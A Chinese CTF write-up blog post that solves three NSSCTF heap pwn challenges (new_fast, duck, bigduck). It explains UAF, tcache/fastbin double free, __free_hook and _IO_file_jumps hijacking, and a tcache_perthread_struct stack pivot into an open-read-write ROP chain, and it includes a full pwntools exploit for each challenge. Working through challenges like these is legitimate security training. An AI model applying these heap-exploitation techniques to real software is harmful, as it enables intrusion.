NSS小记1

NSS小记1

记几道NSSCTF上面的题目

new_fast

题目保护情况(保护全开)

image-20240814142434765

64位ida逆向看看

image-20240814142552613

3个功能,add,show,和delete

我们重点看看delete

image-20240814142858577

存在UAF漏洞

add函数最多不能申请堆块大小超过0xff,数量是0x13,puts有00截断

分析

程序libc是2.31的存在tcachebin机制,但是因为存在UAF,所以可以delete7个堆块把tcachebin填满,然后剩下堆块进入unsottbin 泄露libc,再次申请堆块进入fastbin,进行doublefree fastbin attack,但是后来发现,当tcachebin链表为空时,fastbin中有2个及以上的堆块的时候,会进入到tcachebin 堆块,这样就可以打tcachebin 劫持free_hook了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./vuln')
#io = remote('node5.anna.nssctf.cn',27334)
libc = ELF('./libc-2.31.so')
def add(index,size,msg):
io.sendlineafter('Exit','1')
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendafter('Content: ',msg)


def delete(index):
io.sendlineafter('Exit','2')
io.sendlineafter('Index: ',str(index))



def show(index):
io.sendlineafter('Exit','3')
io.sendlineafter('Index: ',str(index))




for i in range(7):
add(i,0x80,'a')

add(7,0x80,'a') #unsortbin
add(8,0x40,'/bin/sh;') #防止合并


for i in range(7):
delete(i)


delete(7)

show(7)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
show(1)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2a0
success('heap_base---->'+hex(heap_base))


for i in range(7):
add(i,0x60,'a')

add(9,0x60,'a')
add(10,0x60,'a')
add(11,0x30,'a')

for i in range(7):
delete(i)

delete(9) #fastbin double free
delete(10)
delete(9)

for i in range(7):
add(i,0x60,'a')

add(9,0x60,p64(free_hook)) # tcachebin attack
add(10,0x60,'a')
add(12,0x60,'a')
add(13,0x60,p64(system))

delete(8)
#gdb.attach(io)

io.interactive()

duck

题目保护情况(保护全开)

image-20240814144231565

64位ida逆向

功能很全,有add,del,show,edit

image-20240814144624671

del同样存在UAF

image-20240814144704501

add申请堆块固定

image-20240814144731089

show,调用puts存在截断

image-20240814144854869

edit函数

image-20240814144918022

分析

本地libc版本是2.34版本,自2.31版本之后引用了fd,bk指针加密,加密方式 fd ^ heap >> 12

泄露libc地址的话还是可以通过填满tcachebin的方式获取

因为2.34libc不存在malloc_hook 和free_hook等这些钩子,但是程序调用了puts,puts最后会调用__SI_IO_new_file_xsputn_12

然后 SI_IO_new_file_xsputn_12调用 __SI_IO_new_file_overflow_8,因此我们劫持 _IO_file_jumps 来劫持 _IO_new_file_overflow最终拿到shell

image-20240814145526579

image-20240814145615464

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./duck')
#io = remote('node4.anna.nssctf.cn',28914)
libc = ELF('./libc.so.6')
success('read--->'+hex(libc.sym['read']))

def add():
io.sendlineafter('Choice: ','1')




def delete(index):
io.sendlineafter('Choice: ','2')
io.sendlineafter('Idx: ',str(index))


def show(index):
io.sendlineafter('Choice: ','3')
io.sendlineafter('Idx: ',str(index))



def edit(index,size,msg):
io.sendlineafter('Choice: ','4')
io.sendlineafter('Idx: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendafter('Content: ',msg)



for i in range(7):
add() #0 - 6

add() #7
add() #8

for i in range(7):
delete(i)

delete(7)
show(7)

io.recvuntil('\n')

libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1f2cc0
success("libc_base---->"+hex(libc_base))
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
success("_IO_file_jumps---->"+hex(_IO_file_jumps))
one = libc_base + 0xda864

show(0)
io.recvuntil('\n')
heap_base = u64(io.recv(5).ljust(8,b'\x00')) << 12
success("heap_base----->"+hex(heap_base))

for i in range(5):
add()

#gdb.attach(io)
edit(1,16,p64((heap_base >> 12) ^ _IO_file_jumps) + p64(0))

add() #14
add() #15
payload = p64(0)*3 + p64(one)
gdb.attach(io)
edit(15,len(payload),payload)

#gdb.attach(io)
io.interactive()

bigduck

程序保护情况(保护全开)

image-20240814150140667

程序开了沙箱考虑orw

image-20240814150434147

64位ida逆向

跟duck很像

image-20240814150218589

那么函数就不再分析了,唯一的区别这个libc是2.33的存在钩子什么的,但是开了沙箱不好劫持

分析

我这题的做法是通过UAF,来double free 劫持 tcache_ptheread_struct结构体,进而控制tcachebin,这样就可以劫持到栈上,劫持返回地址来打ROP,但是要注意,2.33的 tcache_ptheread_struct结构和2.27不一样,2.33大小是0x290,每个链表长度占2个字节,

思路就是先泄露heap地址,劫持 tcache_ptheread_struct来泄露libc地址,然后得到environ地址,进而打印出栈上的地址,然后还是通过劫持 tcache_ptheread_struct结构体来申请堆块到栈上,读取flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc.so.6')
#io = process('./bigduck')
io = remote('node4.anna.nssctf.cn',28273)
def add():
io.sendlineafter('Choice: ','1')


def delete(index):
io.sendlineafter('Choice: ','2')
io.sendlineafter('Idx: ',str(index))


def show(index):
io.sendlineafter('Choice: ','3')
io.sendlineafter('Idx: ',str(index))



def edit(index,size,msg):
io.sendlineafter('Choice: ','4')
io.sendlineafter('Idx: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendlineafter('Content: ',msg)




for i in range(3):
add()

delete(0)
edit(0,0x10,b'a'*0x10)
delete(0)
edit(0,8,b'a'*8)
show(0)

io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x10
success("heap_base---->"+hex(heap_base))
key = heap_base >> 12

payload = p64((heap_base+0x10) ^ key)
edit(0,16,payload+p64(0))

add() #3
add() #4

edit(4,0x40,b'\x07\x00'*0x10)

delete(3)
edit(3,1,b'\x10')
#gdb.attach(io)
show(3)
io.recvuntil('\x0a')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x10 - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))

open = libc.sym["open"] + libc_base
read = libc.sym["read"] + libc_base
write = libc.sym["write"] + libc_base
environ = libc.sym["environ"] + libc_base

edit(3,1,b'\x00')

payload = b'\x07\x00' *0x40 + p64(environ) * 0x10

#gdb.attach(io)
edit(4,0x100,payload)

add() #5
show(5)
io.recv(1)
fake_stack = u64(io.recv(6).ljust(8,b'\x00')) - 0x138
success("fake_stack---->"+hex(fake_stack))

payload = b'\x07\x00' *0x40 + p64(fake_stack) * 0x10
edit(4,0x100,payload)

add() #6
#gdb.attach(io)

pop_rdi = libc_base + 0x0000000000028a55 #: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002a4cf #: pop rsi; ret;
pop_rdx = libc_base + 0x00000000000c7f32 #: pop rdx; ret;

payload = b'flag\x00\x00\x00\x00' + p64(0) + p64(0xdeadbeef) + p64(pop_rdi) + p64(fake_stack) + p64(pop_rsi) + p64(0)+ p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(fake_stack + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(fake_stack + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write)

edit(6,0x100,payload)



#gdb.attach(io)

io.interactive()


NSS小记1
https://ch13hh.github.io/2024/08/14/NSS小记1/
发布于
2024年8月14日
许可协议